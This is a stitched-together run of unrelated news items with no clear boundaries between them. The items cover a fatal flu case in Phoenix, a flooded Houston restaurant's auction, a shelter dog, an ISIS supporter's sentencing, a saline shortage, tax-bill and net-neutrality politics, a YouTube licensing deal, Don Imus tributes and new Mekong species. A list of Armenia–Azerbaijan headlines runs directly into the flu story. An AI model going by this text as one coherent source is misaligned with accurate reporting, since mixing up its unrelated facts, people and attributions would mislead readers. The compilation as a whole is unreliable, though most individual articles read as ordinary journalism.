I call on Armenian and Azerbaijani parliamentarians to use this Assembly as an agora of opportunities President Tiny Kox

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There is no place for the death penalty in a State that respects human rights: PACE General Rapporteur

EU and CoE call on two Member States that have not yet acceded to this Protocol  Armenia and Azerbaijan  to do so without delay

An urgent debate requested on "The military hostilities between Armenia and Azerbaijan".

UCOM AND PES-PES CONTINUE COOPERATION WITHIN THE FRAMEWORK OF EDUCATIONAL PROJECT

The statement of the meeting between Prime Minister Pashinyan, President Aliyev, President Macron and President Michel of October 6, 2022

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The statement of the Defender on the video of the execution of Armenian PoWs by the Azerbaijani armed forces
The children were the first to get sick. They spent Thanksgiving with sore throats and chills and fevers. By the end of the long weekend, the adults who had gathered for the family's holiday meal in Phoenix were feeling flu symptoms, too.

"We were all together for Thanksgiving, and the little kids got sick, then the adults got sick," Stephanie Gonzalez told CBS News. "It traveled through our family. Everybody kind of got over it. Everybody was fine."

Everybody but Alani "Joie" Murrieta.

Feeling ill, the mother of two left work early Nov. 26, then trudged into Urgent Care the next day. Doctors prescribed Tamiflu and rest, but neither worked.

The next day was worse. She was coughing uncontrollably, first mucous, then blood.

"She looked worried. She told her mom she was having a hard time breathing," Gonzalez told the network.

Her flu had given way to pneumonia. She had trouble breathing, then slipped into unconsciousness. By Tuesday - two days after Murrieta started feeling ill - she was dead.

It was a swift-moving tragedy for her family and an anxiety-inducing anecdote for anyone who's felt a familiar throat tickle and wondered how soon is too soon to go to the doctor.

Experts' answers are simple: Flu is deadly and should be treated with healthy respect.

"I'm afraid [Murrieta's] story is entirely consistent with severe influenza with a young adult," said William Schaffner, a physician and infectious diseases specialist at Vanderbilt University Medical Center in Nashville. Schaffner has not personally examined Murrieta or her records.

He and his colleagues say flu season started early this year, and the dominant strain of the virus that has emerged is the H3N2. That's the same strain that pinballed around the world last flu season and wreaked havoc in Australia during the southern hemisphere's winter months.

According to the CDC, more than 6,000 people have tested positive for the flu so far this year, more than double the number of people infected at this time last year.

"The H3N2 strain tends to make for a more severe disease, particularly among older people and people with underlying illness," Schaffner said. "But it can affect any child or adult and literally make them gravely ill within 48 hours, to the point where they have to be in the hospital, in intensive care. This can and does happen."

For people suddenly stressed out about a sudden high temperature or dry cough, there is an easy and inexpensive way to prevent influenza: annual vaccinations.

Schaffner, a self-proclaimed proselytizer of the flu-shot gospel, told The Washington Post flu shots can cut the chance of infection in half. For vaccinated people who end up getting the flu, it typically makes the symptoms milder. Lastly, getting the shot decreases a person's chances of passing the flu on to other people, including vulnerable groups such as children and the elderly.

According to The Post's Samantha Schmidt, a recent study showed vaccinations significantly reduced a child's chances of dying from the flu.

"Every year CDC receives reports of children who died from the flu. This study tells us that we can prevent more of these deaths by vaccinating more," Brendan Flannery, PhD, lead author and epidemiologist in the Influenza Division, said in a CDC statement.

Murrieta did not get a flu shot, her family told CBS News, but doctors say there's no way of knowing whether it would have made a difference for the 20-year-old.

For now, her family has started a GoFundMe page that has raised more than $18,000 of its $20,000 goal by Tuesday. They plan to use it to cover funeral expenses and provide for her two boys - the oldest is 2 years old, the younger 6 months.

"Our family is devastated that she is gone," the page said. " . . . Alani left behind so many people that loved her."
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The new owner of the ornate safe inside the old Spaghetti Warehouse doesn't know how to pull it out of the old, flooded Italian restaurant.

"He's been on the phone since 9 a.m.," jokes Steve Tomlin with online auction house RestaurantEquipment.bid, who is on site making sure winning bidders get the goods they purchased.

RELATED: Contents of flooded downtown Spaghetti Warehouse are currently being auctioned off online

The downtown eatery, sitting just off Buffalo Bayou, was teeming with life on Monday. Months after being flooded out by Hurricane Harvey floodwaters, the chain decided to put the items inside it up for auction.

The Dallas-based Spaghetti Warehouse chain isn't leaving Houston, they have told Chron.com, but they are walking away from the 901 Commerce location after Harvey's nasty flooding.

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Buyers of the discarded furnishings and kitchen equipment are responsible for all the disconnection and removal of the items purchased.

When Chron.com arrives, there is a team taking apart an antique replica trolley car inside, on the second floor where Houstonians once dined. Another group is inside a darkened kitchen retrieving a sink. A perplexed crew is working on finding a way to remove an old chandelier hanging over the hostess desk.

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That hefty antique Mosler safe, built for the Melissa State Bank according to the listing, has notations on the side where employees have written down various flooding events that have plagued Spaghetti Warehouse and how long it was closed.

Allison (closed three months), Rita (four days), Ike (nine days), the 2016 Tax Day flood (three days). There is no notation for Harvey as its self-explanatory just standing inside the dining room.

The smell inside is a special kind of lingering, annoying pungent odor. It appears that at least five feet of water surged inside during Harvey, judging by a water line. Couple that with the building's musty smell to begin with and you have quite a bouquet.

"When I got here a few days ago I think I could smell it a block away," Tomlin says.

Tomlin's company RestaurantEquipment.bid handles the liquidations of places just like Spaghetti Warehouse, but this is not the first sale over which he has presided in his two years on staff where the property has been alleged to be haunted.

RELATED: See what downtown's Spaghetti Warehouse looks like after Hurricane Harvey

When Chron.com tells him of the ghostly lore surrounding the location, he laughs.

"Well now some of what has happened makes sense," Tomlin says. The first day he was here getting the contents of the restaurant ready for customers, he felt as if he being watched. At first he thought that maybe a transient had make themselves at home. After clearing the building and not finding a living soul he still felt like he was being observed.

"You know when you can tell someone is watching you? It's something like that," Tomlin says.

According to Tomlin, this isn't the first haunted Spaghetti Warehouse he's worked in. A Tulsa, Oklahoma location also gave him the creeps.

"There was a weird wooden gnome that was on the third floor all by itself that always looked like it was watching you," Tomlin says. He wanted to put a sheet over it while he worked around it.

We joke that all Spaghetti Warehouse locations are contractually obligated to be haunted, or at least have ghost stories.

The basement below us has signs of tampering, with various windows and holes kicked out, likely from homeless Houstonians looking for shelter.

Spaghetti Warehouse started in 1972 in Dallas and later spread to the southern and eastern regions of the United States. The Houston location opened in 1973 and at one time was the second-largest in the chain, boasting two stories.

The building had a long and varied life before that. Built around 1912, it was the site of a fruit and vegetable warehouse and later a pharmaceutical company before diners were bellying up for garlic bread and lasagna.

As the story traditionally goes, a young pharmacist died after falling down the elevator shaft. The pharmacist's wife was so distraught, she died less than a year later.

RELATED: The haunting of Houston's Spaghetti Warehouse: Reality or just a great advertising tool?

The pair of ghosts are now said to haunt the building. Some people eating there over the years reported seeing floating objects. Employees spoke of strange sightings on the second floor, even hearing their name called when no one else is around. Apparently, a male spirit shuffled around the restroom. Sometimes child ghosts were heard running around the building making mischief after closing time.

The number of ghosts chilling out upstairs always increased depending on who was talking, it seems.

Other notable haunted places in Houston are reported to be the Rice Lofts (dancers on the rooftop), La Carafe (curious sounds and "cold" spots), the Battleship Texas (a dead sailor) and the Julia Ideson Building (the one-time handyman and his trusty dog).

RELATED: Is the Houston Zoo haunted by the ghost of a former daredevil zookeeper?

The owners of the restaurant stocked it with antiques, including the trolley car, grand chandeliers and a grandfather clock over the years to add to the old-world feel of the place. Some paranormal believers contend that spirits good and bad become imprinted on an item and follow it around wherever it goes.

Still others have been dismissive and say that the stories were invented as a sort of marketing tool to drum up business in a downtown area where competition is plentiful.

No word on whether the ghosts come with the auction items. Buyer beware and all that. If the building is torn down, where do the ghosts go? The taco shop down the street? Or do they just linger at Travis and Commerce, waiting for a new developer to haunt?

According to company spokesman David Ayers, the restaurant is not closing on a permanent basis in Houston but chances are that the chain won't find a more unique place in the city to serve lasagna and bread sticks.

Craig Hlavaty is a reporter for Chron.com and HoustonChronicle.com. He's an intolerable native Texan with too much ink in his skin and too much brisket stuck in his teeth.
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A dog looking for her forever home this holiday season has undergone an incredible transformation since being surrendered to the Houston Humane Society.

Luna was suffering from demodex when she arrived in October said Monica Schmidt, shelter operations manager for the organization. Within two months, Luna has grown back most of her hair and looks like a new dog.

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"She had demodex, a type of mange that can cause serious issues in dogs," Schmidt told Chron.com. "You see it in a lot of puppies and young dogs. She probably had it for most of her life."

Schmidt said Luna is about one year old and was surrendered to the humane society by her owners in October.

Demodex is an infestation of the dog's skin, where mites can cause skin irritation, hair loss and issues with a dog's immune system, according to PetMD.

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When Luna first came to the Houston Humane Society, the group wrote on Facebook that demodex had affected more than 75 percent of the German shepherd's body.

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"Due to the severity of the mange, her skin lesions open up and begin bleeding every time she moves or rubs against something," according to the group's October 12 post. "She's in a lot of pain and has quite a bit of inflammation."

Luna was able to recover from her wounds with the help of antibiotics, anti-inflammatory medication, and numerous baths.

"Luna came in with swelling in her paws and open sores," Schmidt said. "She had a lot of scabs and missing a lot of her hair."

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Now, after recovering from her wounds, Schmidt said the humane society is looking to find her forever home. Some people have expressed interest in adopting her but there's been no one fully committed yet.

"She loves humans and loves going for walks on a leash," Schmidt said. "She's just a happy dog."

For those interested in adopting Luna or another animal from the Houston Humane Society, call 713-433-6421 or email adoptions@houstonhumane.org.

Schmidt also wants to remind people that they can report any cases of suspected animal abuse to the Houston Humane Society too.

Scroll through the slideshow above to see more images of Luna.

Will Axford is a digital reporter for Chron.com. Read more of his stories here and follow him on Twitter.
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Omar Faraj Saeed Al Hardan admitted he associated with jihadis, swore an oath to Islamic State terrorists, lied on a passport application and stockpiled materials to make remote detonators at his west Houston apartment. And he discussed decapitating Americans for the cause.

But he drew the line at bombs.

"I am not a bombmaker," the defendant told a federal judge. "I have no experience with electronics."

U.S. District Judge Lynn N. Hughes said it was his intent, and not his skillset, that qualified the Iraqi born refugee for 16 years in prison. The judge explained the sentence was for "what you planned and attempted to do, however inept you may have been at executing that plan."

"Clumsy bombmakers, stupid planners have killed a lot of people," the judge added.

Assistant U.S. Attorney Ted Imperato asked Hughes to give him a 20-year term based on sentences that had been given to other U.S. defendants convicted of making plans to go overseas for ISIS.

However, defense attorney David Adler asked the judge to stay within sentencing guidelines.

Al Hardan, 25, is a Palestinian who came to the U.S. as a refugee in 2009. He was able to become a legal permanent resident, and lived in Houston and Dallas where he cared for his medically compromised parents, and had a wife and a child. To earn money, he drove an Uber and performed state inspections on cars.

But that wasn't all he did.

"He made some very bad decisions," his attorney Adler acknowledged, but said he had been isolated from society at the time.

Isolated from society

The Houston refugee was ultimately snared as a result of various conversations he had, including with informants the FBI had introduced. He also participated in training with a fully automatic AK-47 at a remote location near Houston.

Since he was jailed two years ago, Al Hardan had developed an appreciation of how fortunate he and his family were to settle in the U.S., Adler said. Before, Al Hardan "had very little contact outside his family, very little contact with English-speaking Americans and that led him to believe a lot of things he saw online that he no longer believes," the lawyer said.

Adler said his client had strong support from his parents and wife, but his family had chosen to stay away from the sentencing to avoid media attention.

Al Hardan is one of three Houston-area men and eight defendants statewide who have been charged with plans to support ISIS, according to Seamus Hughes, an expert on ISIS cases at George Washington University's Program on Extremism. The program has tracked 149 people charged in 28 states and the District of Colombia since March of 2014 with attempting or providing material support to ISIS, which in many cases means an allegation of offering up oneself for the cause.

Those accused of becoming radicalized come from an array of ethnic, social, economic and educational backgrounds, according to Hughes' analysis. The nearly 90 defendants who have pleaded guilty have been given prison terms of 13.5 years on average. Some defendants have been charged with attempting to join the jihadist fight overseas and others with trying to organize attacks on U.S. soil.

Al Hardan, a Palestinian born in Iraq who had lived in refugee camps in Iraq and Jordan, had contemplated both avenues of material support while living in Houston, according to court records. He was indicted on Jan. 6, 2016, on allegations he had offered himself up to ISIS as an explosive expert, hoping he could go overseas and join the terrorist cause.

During testimony at a detention hearing, an agent from Homeland Security Investigations mentioned Al Hardan had talked about bombing a military base in Grand Prairie. The agent said the defendant discussed with an informant steps he would take to he would carry out a local attack - including disguising his appearance.

When investigators searched his home, they confiscated circuitry components, a soldering iron, wireless remotes and several unactivated cellphones in the west Houston apartment where he lived with his parents, 18-year-old wife and infant son.

He pleaded guilty on Oct. 17, 2016, to attempting to provide support to ISIS.

Years of planning

According to court documents, Al Hardan communicated online in April 2013 with Aws Mohammed Younis Al-Jayab, an Al-Nusra recruit in Sacramento who is charged with related federal offenses in California and Illinois. Al-Jayab said he'd been to the front and wanted to return. Al Hardan said he wanted to go with him.

But while Al Hardan's communication with Al-Jayab and two Al-Nusra leaders petered out, he continued buying bombmaking materials on eBay and made multiple statements that he wanted to be a martyr for the ISIS cause, according to his plea.

In one social media post, he stated, "I want to blow myself up. I want to travel with the Mujahidin. I want to travel to be with those who are against America. I am against America."

In June 2014, the FBI introduced a confidential source who met in person with Al Hardan 17 times, according to court documents. The pair discussed going overseas to engage in activities Al Hardan knew were considered in terrorism by the U.S. government.

In November 2014, he met with the source and swore a loyalty oath, according to court documents.

Two days after that meeting they met for a one-hour tactical training in a remote area outside Houston, where Al Hardan practiced with a fully automatic AK-47. He told this source in 2014 and early 2015 that he wanted to learn to use cellphones as detonators to set off improvised bombs abroad for ISIS. He told the informant he would train using online videos and a manual he had obtained on a CD, according to his plea. He also showed the source a circuit board he built to be used as a remote detonator.

On Aug. 18, 2014, Al Hardan checked the box on an application to become a naturalized U.S. citizen indicating that he didn't associate with any terrorist organizations, according to court documents. But from the time of his application until 2015, he continued to buy electronic components to make circuitry and the tools to assemble bomb detonators.

Crime was 'checking that box'

After nearly two years in federal detention, Al Hardan appeared in court Monday in an olive green jail uniform, his hair parted and slicked back. He wore earphones to hear the Arabic court translator.

Judge Hughes gave him a chance to speak, but questioned him throughout the sentencing.

"I want to apologize for the wrong I've done," he told the judge in accented English, reading from notes, saying he had been "foolish" and he would never do it again.

"I didn't plan to attack any place or plan to hurt someone," he said, emphasizing that the informant had been the one who suggested specific places to attack. "Your honor, I'm not trying to make any excuses, but I didn't plan to hurt nobody."

"Did you vehemently disassociate yourself from that suggestion?" the judge asked.

Al Hardan's lawyer jumped in, saying it was a mistake for his client not to end contact immediately with the informant.

The judge said it wasn't a crime to say stupid or violent things on social media "or we'd have to fill half the country with prisons," he said.

People are free to own an ISIS flag, they're free to watch videos about making bombs and improvised devices, the judge noted. Al Hardan's crime was in checking that box, lying on his passport so he could carry out his plan to go to Syria and be a bombmaker for ISIS. It was planning and training.

Al Hardan was ordered to serve 16 years in prison followed by a lifetime of supervised release, if immigration authorities allow him to remain in the country.
SACRAMENTO, Calif. - Sacramento resident Charis Hill was caught off guard by the tiny bottle of saline solution hanging from the intravenous pole when she went for the latest infusion of medication that helps her avoid crippling pain.

Accustomed to seeing a much larger bag of fluid, she immediately asked staff about the change.

That's when she learned that, since Hurricane Maria devastated Puerto Rico, key U.S. pharmaceutical plants on the island are experiencing manufacturing delays and distribution holdups that have caused unprecedented shortages of the widely used and critical fluid.

Intravenous infusions of saline solution are used to hydrate patients during treatment or to dilute drugs during infusions, and Hill said she's worried about whether there will be enough of the fluids when she arrives for her next treatment in six weeks.

Flu season approaching

Perhaps the best indicator of the dearth of saline solution is that patients such as Hill have begun to take notice.

Earlier this month, leaders of both the American Hospital Association and the California Hospital Association sent letters about the scarcity of supplies to the U.S. Food and Drug Administration, asking Commissioner Scott Gottlieb to take any and all steps to resolve the worsening shortages. The treatments, they said, are essential to patient care in hospitals.

"Baxter, one of the largest manufacturers of small-volume IV bags, has three plants located in Puerto Rico that continue to have issues with communications, transportation systems, and inadequate personnel during recovery efforts," wrote Alyssa Keefe, the vice president for federal regulatory affairs at the California Hospital Association. "These continued challenges threaten not only our present supply cache, but also future inventory needs - particularly with upcoming seasonal illnesses such as influenza."

Local health systems are taking various steps to ensure that patient care is not affected by the shortage.

At UC Davis Health, for instance, the medical team is now giving drugs directly rather than diluting them with a minibag, said UC Davis Health spokesman Charles Casey. This takes more time for a nurse, Casey said, but it probably doesn't substantially increase costs.

"Since 2013," he said, "we have increased the amount (of saline minibags) that we purchase, but right now we cannot purchase any," said Casey, adding that the shortage of saline minibags deeply concerns the system's pharmacy leaders.

Seeking domestic supply

The medical team at Dignity Health is conserving as much of its saline solution supply as possible.

Sutter Health said representatives from its pharmacy and clinical teams have worked together with inventory managers to find distributors that can supply what they need and to seek alternatives.

Hill, who suffers from a debilitating form of arthritis known as ankylosing spondylitis, snapped a picture of the little bottle of saline solution, just 50 cubic centimeters, at the top of the IV pole at her station, and she posted it on Facebook, noting that usually a much larger bag typically hung there.

"I asked if they had saline in reserve and are using it up, but no, they ordered this," she said. "It's the second order since the hurricane, and this shipment had smaller bottles than the last."

Hill said she's worried that the shortage will affect the supply at her clinic. If she has to go to a hospital, she said, she's uncertain that her Medi-Cal plan will cover it.

"I won't have any choice but to go without it," she said. "The drug builds up in your system over six months. If I miss a dose I have to build it up again, and if I go too long without it, I'll be in severe pain and have to be bed-bound."

Thomas P. Nickels, who manages government relations for the American Hospital Association, said hospitals are switching patients to appropriate alternatives such as oral products, changing how they administer IV drugs and prioritizing patients based on clinical factors.

"We strongly urge FDA to do more by pushing current manufacturers to not only continue to produce these products at their maximum capacity but also to make investments to ensure an increasing supply for the future," Nickels wrote in his letter to the FDA commissioner. "We also encourage FDA to seek out and approve new domestic suppliers of these products in locations that are not prone to natural disasters."
WASHINGTON -- With the GOP on the precipice of scoring a victory on a major tax bill, Texas U.S. Sen. John Cornyn, the No. 2 Republican in the chamber, was called on to snuff out a damaging story about a last-minute perk dubbed the "Corker Kickback."

In a floor speech Monday, Cornyn decried a report in the International Business Times (IBTimes) as "false and invented" and "would have made a Russian intelligence officer proud."

The story suggested that Tennessee U.S. Sen. Bob Corker, who had been the last remaining GOP holdout on the tax legislation, had come around because of an added provision that could enrich him and other wealthy real estate investors, including President Donald Trump.

The controversial provision, added on Friday, offers a 20 percent deduction for income earned through "pass-through" entities  that is, businesses whose earnings are taxed through their owners' personal tax filings.

Analysts say the provision provides a major benefit to commercial real estate entities that often are structured as so-called pass-throughs.

Corker, a former construction executive, announced his support for the tax bill on Friday, the same day the new provision for pass-throughs was added in House-Senate negotiations on the legislation, which both houses of Congress are expected to pass Tuesday.

Corker denied any involvement in the change, but he was stung over the weekend when the hashtag #CorkerKickback began trending on Twitter. With Arizona Republican John McCain, fighting cancer, absent from the final vote, the GOP's 52-48 advantage in the Senate had begun to look thin in recent days.

Democrats also went on the attack, with Texas Democratic Party Chairman Gilberto Hinojosa slamming Cornyn in a press released titled: "Cornyn sells out America to personally enrich wealthy colleagues and Donald Trump."

So Cornyn, the Senate GOP whip responsible for wrangling votes, took to the floor to defend the tax bill from any suggestion that it involves any special favors, as suggested in the IBTimes story.

"This story breathlessly claimed that, without a shred of evidence, that a provision had been air-dropped into the final draft in secret in order to secure the vote of a member who would supposedly personally benefit from it," Cornyn said. "This was a salacious tale from beginning to end. It was also completely false and invented."

He added: "What the whole purpose of this exercise was, this false and invented story, is to undermine public confidence in this tax reform package... What we saw happen this weekend, as I said, would have made a Russian intelligence officer proud."

The blowback for Corker was the second stemming from an IBTimes story in the last week.

An earlier story took aim at Cornyn for a provision that provides a tax deduction for investors in energy-related master limited partnerships (MLPs), which are used by oil and gas pipeline corporations.

More than a dozen lawmakers, including Texas U.S. Sen. Ted Cruz and Texas U.S. Reps. Pete Sessions and Kenny Marchant, are invested in MLPs, according to the IBTimes story.

Cornyn's office has defended the tax provision, saying that it merely keeps in place current tax provisions that treat MLPs as pass-through entities.
Gov. Greg Abbott famously joked that when he served as attorney general, his daily routine consisted of going to the office in the morning, suing the president, then going home.

Texas took the feds to court at least four dozen times during the Obama administration, fighting over everything from immigration to ozone standards to the red snapper fishing season. Now our current AG needs to prove he can battle the government on behalf of the people of Texas even when Washington is run by politicians in his own party.

Attorney General Ken Paxton has an opportunity to sue the feds over a cause that could impact all Texans, an issue that was once a part of the state's Republican Party platform. Paxton should join his counterparts from other states who plan to challenge the FCC's repeal of net neutrality.

The Federal Communications Commission last week voted to repeal the rules that required telecommunications companies to give all websites equal access to broadband service. So now, the corporations that provide our internet service will have the power to threaten businesses like Netflix with slower service unless they pay a premium that, of course, will be passed along to consumers. That scenario is very real; Comcast tried to slow down Netflix in 2014.

Net neutrality opponents make a standard free market argument, saying that consumers who don't like the slower service on one internet service provider can simply switch to another. They also claim that telecommunications companies will now have the freedom to offer options that could reduce consumers' internet bills. The problem with that logic is that most Americans have to choose between only one or two big providers like Comcast and AT&T; broadband service in most of the country isn't a free market, it's either a monopoly or a duopoly. And if you think telecommunications corporations with so little competition are really going to lower your internet bills, the Allen Brothers might want to sell you some Enron stock.

Now attorneys general from several states have announced plans to challenge the FCC. New York's attorney general is leading the charge, arguing that the comment process was corrupted by millions of submissions from bots, stolen identities, Russian email addresses and more than a few dead people. Other legal experts say the FCC's arguments for repealing net neutrality conflict existing laws.

That's why Paxton should join this fight on behalf of the people of Texas. Unfortunately, what should be a populist cause has become a partisan fight, so there's little hope Paxton will do the right thing on this issue.

If he doesn't, next time you cast a ballot for attorney general, think about your internet bill. Then think about hiring a new lawyer.
Donald Trump Jr. has leapt into the debate over net neutrality once again - this time attacking "Star Wars" actor Mark Hamill, otherwise known as Luke Skywalker.



The spat began when Sen. Ted Cruz, R-Texas, and Hamill attacked each other on Twitter over the weekend regarding a recent video starring Ajit Pai, the chairman of the Federal Communications Commission. The video, titled "7 things you can still do on the Internet after net neutrality," featured Pai dressed as Santa and brandishing a lightsaber to defend his contentious move to dismantle net neutrality rules and mock the criticism against it. It was published last week by the conservative news site the Daily Caller and shared widely on social media.



Hamill took issue with the scene of Pai wielding a lightsaber: "you are profoundly unworthy 2 wield a lightsaber-A Jedi acts selflessly for the common man-NOT lie 2 enrich giant corporations," he said on Twitter.



Cruz responded with a reference to Darth Vader, a quote from Yoda and arguments in favor of repealing net neutrality.



Cruz tweeted ".HammillHimself Luke, I know Hollywood can be confusing, but it was Vader who supported govt power over everything said & done on the Internet. That's why giant corps (Google, Facebook, Netflix) supported the FCC power grab of net neutrality. Reject the dark side: Free the net!"



Cruz tweeted "Yes, that's it. So sorry to misspell your name. Respond not with facts, but with anger. Who was it that said, 'Fear is the path to the dark side. . .fear leads to anger. . .anger leads to hate'? (1/2)"



Cruz tweeted "(2/2) Rather than insults, try civil discussion of facts. Fact 1: until 2015, the FCC had NO authority over Internet. The Net grew free & unregulated. Fact 2: W/ 'net neutrality' the FCC declared power to regulate everything said & done on Internet. That's really bad for freedom."



That's when President Donald Trump's eldest child jumped in. "Ted Cruz kills Luke Skywalker again... Jedi apparently no match for facts," he said in a tweet Sunday evening.



This isn't the first time Trump Jr. has elbowed into the debate over open Internet rules. Last week, he challenged the sincerity of the public backlash over the repeal of net neutrality, and he has questioned whether supporters of the rules are truly knowledgeable about the topic.



"I would pay good money to see all those people complaining about Obama's FCC chairman voting to repeal .NetNeutality actually explain it in detail," he tweeted recently. "I'd also bet most hadn't heard of it before this week. .outrage." (While President Barack Obama did appoint Pai to fill a GOP position at the FCC, it was President Trump who made Pai the chairman.)




Darrell and Linda (Taff) Vandivort of Houston are celebrating their 50th wedding anniversary.

They were married Dec. 30, 1967, at New Hope Baptist Church in Solo, and they made their home in Houston. They have two children and one grandchild and many beloved friends and family.

If you would like to send well wishes, send them to the Vandivorts, c/o Sheila Motzkus, 17452 Highway B, Houston, Mo. 65483. No gifts please.
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Sony, Universal Strike New Global Licensing Deals With YouTube

[UPDATED] Universal and Sony have joined Warner Music Group in signing new multi-year global licensing agreements with YouTube. The move also paves the way Google and YouTube to launch a new paid streaming service to compete with Spotify this Spring.

_______________________________________

Universal Music Group and YouTube have announced a multi-year global licensing agreement. While details of the deal were not disclosed, UMG says that the deal means "growing compensation" for artists and songwriters. Some content will be now be exclusive to the paid YouTube Red service, as well as, presumably a new Google/YouTube subscription streaming music service reportedly launching in March.

Sony has also just completed negotiations on a similar new deal with YouTube, sources tell Billboard. Warner Music Group struck it's new YouTube deal several months ago.



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The newly constituted Housing Authority board met for the first time since October.

North Adams Housing Authority Has Full Board

NORTH ADAMS, Mass.  With new state appointee Christine Naughton, the North Adams Housing Authority once again has a full board.

"As our first order of business I would like to welcome Christine to the commission," Chairman Matt Neville said Monday. "I am happy to have a full board again."

With the departure of Patricia Wol, who had been appointed by the governor's office last January, and member Coltan Andrews, the Housing Authority has had difficulty achieving a quorum. Because of this, there was a stretch of months during which meetings were regularly canceled.

With new member Colin Todd and Naughton, the Housing Authority can move forward with initiatives such as finally dissolving Housing Opportunities Inc.

For the past few years, the Housing Authority's board members, who also comprise the board of HOI, have been trying to dissolve the housing program -- deemed largely a failure -- and transfer its assets to the city.

HOI turned over the Flood House to the Louison House shelter early last year and transferred its remaining properties to the city in April with the exception of the former Sun Cleaners at 111 River St., which the city was hesitant to accept without an environmental survey.

Housing Authority Executive Director Jennifer Hohn said although report is not yet in hand, she anticipates the property will not need any cleanup.

"The monkey on our back is Sun Cleaners ... but I am under the impression that there will be no need for clean up," she said. "We still need a formalized report, but it looks positive  I think we are finally heading in the right direction after 10 years."

In other business, Hohn said she plans to appeal a U.S. Department of Housing and Urban Development score from a recent physical tour of the authority's properties.

She said even though the buildings are in better shape, they scored a 71. The last survey they scored a 97.

Hohn said they automatically lost 10 points for paint found on three sprinkler heads.

"It went really well until we got the report. We went into a couple of units where people have painted and there were little flecks on the two or three sprinkler heads and they are going to cite us for that," she said. "That is an automatic 10 points whether it is one or 100 so for the first time in history, I am going to appeal."

Hohn said third-party inspectors are hired for the surveys.
IDF Soldiers Spread Light All Year Round

The Fellowship | December 19, 2017 IDF Soldiers Spread Light All Year Round

Those of us who stand for Israel marvel at the brave men and women who protect the Jewish state and her people. But thats not all the IDF does. At this time of year which should be joyous, but can be sorrowful or stressful for many, these stories of IDF soldiers who volunteer their time to help Israels neediest truly shine a light:

Maj. Maor began playing with LEGOs at the age five and at age 30 his passion resurfaced, I collected a lot of LEGO sets and at a certain point they took over the whole house, he said. Maj. Maor started accumulating LEGO sets, and thanks to his friends suggestion, he realized that they could give him a great opportunity to help children. He volunteers with pediatric cancer patients and cant imagine his life without them. I know the children and what each of them likes. One day, a boy who had been undergoing chemotherapy asked the doctor to hospitalize him. When the doctor asked why, he answered Because I want Maor to come and bring me a LEGO. That day I surprised him at his house with a LEGO set.

An oncology ward is not a place that people want to be in, but for the past three years, Sergeant Y, who serves in the Intelligence Corps, has been making it a better place. Twice a week, Sgt. Y spends time with the children of Zichron Menachem, an organization that helps pediatric cancer patients and their families. For Sgt. Y, this isnt just a volunteer position, its personal. We are good friends and they even join in my familys events and celebrations, said Sgt. Y
Redflow makes first battery components in Thailand

Redflow CEO Richard Aird with ZBM2 batteriesAustralian battery company Redflow Limited has successfully started manufacturing core components for its zinc-bromine flow batteries at its new production facility in Thailand.

During the past week, Redflow began producing electrode inserts made of HDPE (High-Density Polyethylene) plastic on the production line at the factory in the Hemaraj industrial estate, south-east of Bangkok. The electrode inserts - produced from custom-made highly conductive plastic- use a bipolar design to enable a zinc-plating reaction on one side and a bromine reaction on the other.

Redflow CEO Richard Aird said production of the first components was going according to plan, as outlined last month at the companys Annual General Meeting in Brisbane. We remain on track to produce full battery stacks from our Thai factory next month, he said.

These electrode inserts are critical components in our zinc-bromine flow battery stack, enabling the plating of zinc on one surface of the insert while the battery is charging. This component contains a significant amount of Redflow IP (Intellectual Property), so were making sure these inserts are produced to our standard before progressively qualifying additional battery components.

For media assistance, please call John Harris on +61 8 8431 4000 or email john@impress.com.au.

About Redflow www.redflow.com

Redflows unique zinc-bromine flow batteries are designed for stationary energy storage applications ranging from its ZCell residential battery to its scalable ZBM2 batteries for industrial, commercial, telecommunications and grid-scale deployment. Redflow Limited, a publicly-listed company (ASX: RFX), produces high energy density batteries that are sold, installed and maintained by an international network of system integrators. Redflow batteries offer unique advantages including 100 per cent depth of discharge, tolerance of ambient temperatures as hot as 50 degrees Celsius and sustained energy storage of 10 kilowatt hours (kWh) throughout its operating life.




This Isnt Our Last Love Letter



Dear Don Don,

Way back in 92



I walked into the room and knew



Never felt this way before



I shook your hand while gazing into your eyes



And the feeling grew



As I took a seat I knew



A love that would have my heart



Forever



I knew



Way back in 92





They say love at first sight doesnt always last or isnt true



We were the exception to that rule



Our love had no where to hide



A spark set fire



As if this is how the universe started





I never doubted our love or what we could do



Together we grew



Forming a bond everlasting



That became our glue



My euphoria was YOU



Im eternally grateful for the love and life we shared



For how fortunate we were :



to have and to hold

through sickness and in health

Til death do us part



Until we are together again



This isnt our last love letter



I love you with all my heart and soul



Yours forever,



Deirdre (Mrs. Hank Snow)





Im fortunate to have fallen in love with, marry and make a life with the sharpest, coolest, funniest, most rare, bad ass, tender loving, loyal man on the planet, my husband Don Imus.









A True American Hero

I dont know why it has been so hard for me to write about my dear friend Don Imus.



I certainly know what he meant to me, my family, my charity, my hospital and the millions of fans that listened and loved him for so many years.



I keep reading all the beautiful condolences that people are writing about how much a part of their lives were effected by listening to him over the years.

But what most people dont talk enough about is what he did for all of us.

In every sense of the word, he was an American Hero. His work with children with so many different illnesses and his dedication to their future was unmatched by anyone I have ever known or heard about.



Besides raising over $100,000,000 for so many causes, he took care of young people for over 20 years in a state where he could not breathe. Along with his incredible wife Deirdre, he created a world where children were not defined by their disease. That was a miracle! He was a miracle.

I will miss him ever day for the rest of my life.

I was blessed to be a part of his and Deirdes life.

No one will ever do what he did.

I love you Don Imus - A TRUE AMERICAN HERO





David Jurist

IMUS IN THE MORNING

FIRST DAY BACK!
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A brightly coloured crocodile lizard, a thriving mole population and a mountain-dwelling bat are among an astonishing 115 new species of flora and fauna discovered in Asia in 2016.

A report by wildlife charity WWF has revealed three previously unknown mammals, 11 amphibians, two fish, 11 reptiles and 88 new plants were found by researchers and scientists in the Greater Mekong region.

The large river basin stretches across parts of Laos, Myanmar, Thailand and Vietnam and is already recognised as one of the worlds richest areas for biodiversity.

The new finds also include a new vibrantly coloured frog, a striped loach, a snake and a bent-toed gecko.

